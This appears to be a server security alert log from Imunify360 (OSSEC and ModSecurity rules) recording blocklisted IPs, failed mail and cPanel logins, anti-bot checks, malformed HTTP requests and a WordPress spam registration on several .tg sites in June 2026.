Jun  8 21:46:46 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.160.166.237 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.8.120.90
country_id: 3469034
description:
Jun  8 21:46:10 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.8.120.90 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.210.74.19
country_id: 1835841
description:
Jun  8 21:46:57 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.210.74.19 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.207.41.231
country_id: 6290252
description:
Jun  8 21:46:33 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.207.41.231 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.210.133.134
country_id: 3469034
description:
2026-06-08 21:46:41 dovecot_login authenticator failed for H=([191.210.133.134]) [191.210.133.134]:47558: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.210.74.19
country_id: 1835841
description:
Jun  8 21:47:13 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.210.74.19 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.219.97.12
country_id: 3996063
domain: www.cafe.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tg/carlbro/pages/doc2/index.html HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.219.97.12
country_id: 3996063
domain: www.cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tghttp/www.cafe.tg/carlbro/pages/doc2/index.html HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [08/Jun/2026:21:48:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9923687&pdata=http%253A%252F%252F4hssjy.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780955286 HTTP/1.1" 404 561 4hssjy.mediatopnews.tg "http://4hssjy.mediatopnews.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [08/Jun/2026:21:48:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7379306&pdata=http%253A%252F%252F4hssjy.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780955301 HTTP/1.1" 302 0 4hssjy.mediatopnews.tg "http://4hssjy.mediatopnews.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-08 21:48:34 +0000] info [cpaneld] 102.54.238.57 - pharma "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user pharma (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [08/Jun/2026:21:48:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6409108&pdata=http%253A%252F%252F4hssjy.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780955307 HTTP/1.1" 404 561 4hssjy.mediatopnews.tg "http://4hssjy.mediatopnews.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 205.169.39.12
country_id: 6252001
description:
205.169.39.12 - - [08/Jun/2026:21:49:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7379306%26pdata=http://4hssjy.mediatopnews.tg%26id=7fa3b767c460b54a2be4d49030b349c7%26ts=1780955301 HTTP/1.1" 404 561 4hssjy.mediatopnews.tg "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.12


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:21-49.146.19.125.71||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Reveal Your Top-Grade Money vamvozmviigr.blogspot.hk Ap||Email:martinscott421@gmail.com||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 38.127.179.19
country_id: 6252001
domain: sp-eau.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:21-51.38.127.179.19||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.110.209.250
country_id: 3469034
domain: derou.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/derou.tg/en/teams HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 38.127.179.19
country_id: 6252001
domain: sp-eau.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:21-52.38.127.179.19||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [08/Jun/2026:21:53:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13014163&pdata=http%253A%252F%252Fjlkjum.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780955593 HTTP/1.1" 404 561 jlkjum.mediatopnews.tg "http://jlkjum.mediatopnews.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.217.253.159
country_id: 1880251
description:
[2026-06-08 21:54:11 +0000] info [cpaneld] 217.217.253.159 - a.kesso "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.kesso (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-06-08 21:57:33 dovecot_login authenticator failed for H=(144.121.245.65.lightower.net) [64.72.74.162]:46965: 535 Incorrect authentication data (set_id=sales@togosem.com)


